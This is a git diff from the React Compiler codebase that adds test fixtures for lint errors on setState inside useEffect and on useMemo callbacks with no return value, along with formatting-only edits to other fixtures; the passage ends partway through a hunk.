diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.expect.md
new file mode 100644
index 000000000000..5f2f3619b88f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+// Bug: NewExpression default param value should not prevent set-state-in-effect validation
+function Component({value = new Number()}) {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+// Bug: NewExpression default param value should not prevent set-state-in-effect validation
+function Component({ value = new Number() }) {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState((s) => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":8,"column":4,"index":313},"end":{"line":8,"column":12,"index":321},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":203},"end":{"line":11,"column":1,"index":358},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":1,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.js
new file mode 100644
index 000000000000..a239f743a6cc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-new-expression-default-param.js
@@ -0,0 +1,11 @@
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+// Bug: NewExpression default param value should not prevent set-state-in-effect validation
+function Component({value = new Number()}) {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.expect.md
new file mode 100644
index 000000000000..5cd44a9c851e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  const f = () => {
+    setState(s => s + 1);
+  };
+  const g = () => {
+    f();
+  };
+  useEffect(() => {
+    g();
+  });
+  return state;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component() {
+  const [state, setState] = useState(0);
+  const f = () => {
+    setState((s) => s + 1);
+  };
+  const g = () => {
+    f();
+  };
+  useEffect(() => {
+    g();
+  });
+  return state;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":13,"column":4,"index":284},"end":{"line":13,"column":5,"index":285},"filename":"invalid-setState-in-useEffect-transitive.ts","identifierName":"g"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":111},"end":{"line":16,"column":1,"index":312},"filename":"invalid-setState-in-useEffect-transitive.ts"},"fnName":"Component","memoSlots":2,"memoBlocks":2,"memoValues":2,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.js
new file mode 100644
index 000000000000..ef69e4be4339
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-transitive.js
@@ -0,0 +1,16 @@
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  const f = () => {
+    setState(s => s + 1);
+  };
+  const g = () => {
+    f();
+  };
+  useEffect(() => {
+    g();
+  });
+  return state;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.expect.md
new file mode 100644
index 000000000000..144cb7a52289
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.expect.md
@@ -0,0 +1,48 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useEffectEvent, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  const effectEvent = useEffectEvent(() => {
+    setState(true);
+  });
+  useEffect(() => {
+    effectEvent();
+  }, []);
+  return state;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import { useEffect, useEffectEvent, useState } from "react";
+
+function Component() {
+  const [state, setState] = useState(0);
+  const effectEvent = useEffectEvent(() => {
+    setState(true);
+  });
+  useEffect(() => {
+    effectEvent();
+  }, []);
+  return state;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":10,"column":4,"index":286},"end":{"line":10,"column":15,"index":297},"filename":"invalid-setState-in-useEffect-via-useEffectEvent.ts","identifierName":"effectEvent"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":127},"end":{"line":13,"column":1,"index":328},"filename":"invalid-setState-in-useEffect-via-useEffectEvent.ts"},"fnName":"Component","memoSlots":4,"memoBlocks":3,"memoValues":3,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.js
new file mode 100644
index 000000000000..823ace42c347
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect-via-useEffectEvent.js
@@ -0,0 +1,13 @@
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useEffectEvent, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  const effectEvent = useEffectEvent(() => {
+    setState(true);
+  });
+  useEffect(() => {
+    effectEvent();
+  }, []);
+  return state;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.expect.md
new file mode 100644
index 000000000000..5022b5517188
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState((s) => s + 1);
+  });
+  return state;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":7,"column":4,"index":199},"end":{"line":7,"column":12,"index":207},"filename":"invalid-setState-in-useEffect.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":111},"end":{"line":10,"column":1,"index":244},"filename":"invalid-setState-in-useEffect.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.js
new file mode 100644
index 000000000000..d2422caea022
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-setState-in-useEffect.js
@@ -0,0 +1,10 @@
+// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setState(s => s + 1);
+  });
+  return state;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.expect.md
new file mode 100644
index 000000000000..a2aba4c7b916
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.expect.md
@@ -0,0 +1,41 @@
+
+## Input
+
+```javascript
+// @validateNoVoidUseMemo @loggerTestOnly
+function Component() {
+  useMemo(() => {
+    return [];
+  }, []);
+  return <div />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoVoidUseMemo @loggerTestOnly
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"VoidUseMemo","reason":"useMemo() result is unused","description":"This useMemo() value is unused. useMemo() is for computing and caching values, not for arbitrary side effects","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":3,"column":2,"index":67},"end":{"line":3,"column":9,"index":74},"filename":"invalid-unused-usememo.ts","identifierName":"useMemo"},"message":"useMemo() result is unused"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":42},"end":{"line":7,"column":1,"index":127},"filename":"invalid-unused-usememo.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.js
new file mode 100644
index 000000000000..e254424949bd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-unused-usememo.js
@@ -0,0 +1,7 @@
+// @validateNoVoidUseMemo @loggerTestOnly
+function Component() {
+  useMemo(() => {
+    return [];
+  }, []);
+  return <div />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.expect.md
new file mode 100644
index 000000000000..24e62dad2be7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+// @validateNoVoidUseMemo @loggerTestOnly
+function Component() {
+  const value = useMemo(() => {
+    console.log('computing');
+  }, []);
+  const value2 = React.useMemo(() => {
+    console.log('computing');
+  }, []);
+  return (
+    <div>
+      {value}
+      {value2}
+    </div>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoVoidUseMemo @loggerTestOnly
+function Component() {
+  const $ = _c(1);
+
+  console.log("computing");
+
+  console.log("computing");
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (
+      <div>
+        {undefined}
+        {undefined}
+      </div>
+    );
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"VoidUseMemo","reason":"useMemo() callbacks must return a value","description":"This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":3,"column":24,"index":89},"end":{"line":5,"column":3,"index":130},"filename":"invalid-useMemo-no-return-value.ts"},"message":"useMemo() callbacks must return a value"}]}},"fnLoc":null}
+{"kind":"CompileError","detail":{"options":{"category":"VoidUseMemo","reason":"useMemo() callbacks must return a value","description":"This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":6,"column":31,"index":168},"end":{"line":8,"column":3,"index":209},"filename":"invalid-useMemo-no-return-value.ts"},"message":"useMemo() callbacks must return a value"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":42},"end":{"line":15,"column":1,"index":283},"filename":"invalid-useMemo-no-return-value.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.js
new file mode 100644
index 000000000000..781560fefa92
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-no-return-value.js
@@ -0,0 +1,15 @@
+// @validateNoVoidUseMemo @loggerTestOnly
+function Component() {
+  const value = useMemo(() => {
+    console.log('computing');
+  }, []);
+  const value2 = React.useMemo(() => {
+    console.log('computing');
+  }, []);
+  return (
+    <div>
+      {value}
+      {value2}
+    </div>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.expect.md
new file mode 100644
index 000000000000..44e70351691b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.expect.md
@@ -0,0 +1,33 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateExhaustiveMemoizationDependencies:false
+function component(a) {
+  let x = useMemo(() => {
+    mutate(a);
+  }, []);
+  return x;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateExhaustiveMemoizationDependencies:false
+function component(a) {
+  mutate(a);
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"VoidUseMemo","reason":"useMemo() callbacks must return a value","description":"This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":3,"column":18,"index":110},"end":{"line":5,"column":3,"index":136},"filename":"invalid-useMemo-return-empty.ts"},"message":"useMemo() callbacks must return a value"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":68},"end":{"line":7,"column":1,"index":156},"filename":"invalid-useMemo-return-empty.ts"},"fnName":"component","memoSlots":0,"memoBlocks":0,"memoValues":0,"prunedMemoBlocks":1,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.js
new file mode 100644
index 000000000000..8095a7af8f13
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/invalid-useMemo-return-empty.js
@@ -0,0 +1,7 @@
+// @loggerTestOnly @validateExhaustiveMemoizationDependencies:false
+function component(a) {
+  let x = useMemo(() => {
+    mutate(a);
+  }, []);
+  return x;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.expect.md
index 1a806e5414ee..fa2d97fa5f34 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.expect.md
@@ -16,8 +16,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -35,6 +35,7 @@ function foo(a, b, c) {
 
     x = c;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.js
index b32e376ee595..ff46a8d1ebcc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if-else.js
@@ -12,6 +12,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.expect.md
index 423530c510be..d6202a504f89 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.expect.md
@@ -16,8 +16,8 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -47,6 +47,7 @@ function foo(a, b, c, d) {
   } else {
     y = $[4];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.js
index 3e9c653b8dc9..6b4ec90a3b5a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inverted-if.js
@@ -12,6 +12,6 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.expect.md
index 585f8761c43e..c644a87c519b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function Component(c) {
-  let x = { c };
+  let x = {c};
   mutate(x);
   let a = x;
   let b = a;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.js
index 907ff058d599..9875fcfdb88f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue852.js
@@ -1,5 +1,5 @@
 function Component(c) {
-  let x = { c };
+  let x = {c};
   mutate(x);
   let a = x;
   let b = a;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.expect.md
index 789135049a9d..10c7c063b400 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 function makeObj() {
-  "use no forget";
+  'use no forget';
   const result = [];
-  result.a = { b: 2 };
+  result.a = {b: 2};
 
   return result;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.js
index 7c19f3a1f4ff..e9f9277c9d19 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/issue933-disjoint-set-infinite-loop.js
@@ -1,7 +1,7 @@
 function makeObj() {
-  "use no forget";
+  'use no forget';
   const result = [];
-  result.a = { b: 2 };
+  result.a = {b: 2};
 
   return result;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.expect.md
index 80fd6a7d5385..9df1962e4dae 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component() {
   // https://legacy.reactjs.org/docs/jsx-in-depth.html#props-default-to-true
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.tsx
index 63dc0a68cd83..997aae8ff1ad 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-default-to-true.tsx
@@ -1,4 +1,4 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component() {
   // https://legacy.reactjs.org/docs/jsx-in-depth.html#props-default-to-true
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.expect.md
index 016fab7332a8..fecbc2c8485d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 // @flow
-function Component({ items }) {
+function Component({items}) {
   // Per the spec, <Foo value=<>{...}</> /> is valid.
   // But many tools don't allow fragments as jsx attribute values,
   // so we ensure not to emit them wrapped in an expression container
@@ -11,30 +11,29 @@ function Component({ items }) {
     <Foo
       value={
         <Bar>
-          {items.map((item) => (
+          {items.map(item => (
             <Item key={item.id} item={item} />
           ))}
         </Bar>
-      }
-    ></Foo>
+      }></Foo>
   ) : null;
 }
 
-function Foo({ value }) {
+function Foo({value}) {
   return value;
 }
 
-function Bar({ children }) {
+function Bar({children}) {
   return <div>{children}</div>;
 }
 
-function Item({ item }) {
+function Item({item}) {
   return <div>{item.name}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [{ id: 1, name: "One!" }] }],
+  params: [{items: [{id: 1, name: 'One!'}]}],
 };
 
 ```
@@ -49,17 +48,7 @@ function Component(t0) {
   let t1;
   if ($[0] !== items) {
     t1 =
-      items.length > 0 ? (
-        <Foo
-          value={
-            <Bar>
-              {items.map((item) => (
-                <Item key={item.id} item={item} />
-              ))}
-            </Bar>
-          }
-        />
-      ) : null;
+      items.length > 0 ? <Foo value={<Bar>{items.map(_temp)}</Bar>} /> : null;
     $[0] = items;
     $[1] = t1;
   } else {
@@ -67,6 +56,9 @@ function Component(t0) {
   }
   return t1;
 }
+function _temp(item) {
+  return <Item key={item.id} item={item} />;
+}
 
 function Foo(t0) {
   const { value } = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.js
index f54d20af9f7c..f78565ac87de 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-attribute-with-jsx-element-value.js
@@ -1,5 +1,5 @@
 // @flow
-function Component({ items }) {
+function Component({items}) {
   // Per the spec, <Foo value=<>{...}</> /> is valid.
   // But many tools don't allow fragments as jsx attribute values,
   // so we ensure not to emit them wrapped in an expression container
@@ -7,28 +7,27 @@ function Component({ items }) {
     <Foo
       value={
         <Bar>
-          {items.map((item) => (
+          {items.map(item => (
             <Item key={item.id} item={item} />
           ))}
         </Bar>
-      }
-    ></Foo>
+      }></Foo>
   ) : null;
 }
 
-function Foo({ value }) {
